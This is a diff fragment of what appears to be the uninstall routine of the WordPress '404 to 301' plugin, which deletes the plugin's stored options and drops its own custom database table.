+ * @license http://www.gnu.org/licenses/ GNU General Public License
17
+ * @link https://thefoxe.com/products/404-to-301
18
  */
 
 
 
 
 
19
 
20
+ // Deletes plugin options
21
+ $options = array(
22
+ 'i4t3_gnrl_options',
23
+ 'i4t3_db_version',
24
+ 'i4t3_version_no',
25
+ 'i4t3_agreement'
26
+ );
27
+ foreach ( $options as $option ) {
28
+ if ( get_option( $option ) ) {
29
+ delete_option( $option );
30
+ }
31
  }
32
 
 
33
  global $wpdb;
34
+
35
+ // drop our custom table
36
+ $wpdb->query( "DROP TABLE IF EXISTS " . $wpdb->prefix . "404_to_301" );
37
 
38
  /******* The end. Thanks for using 404 to 301 plugin ********/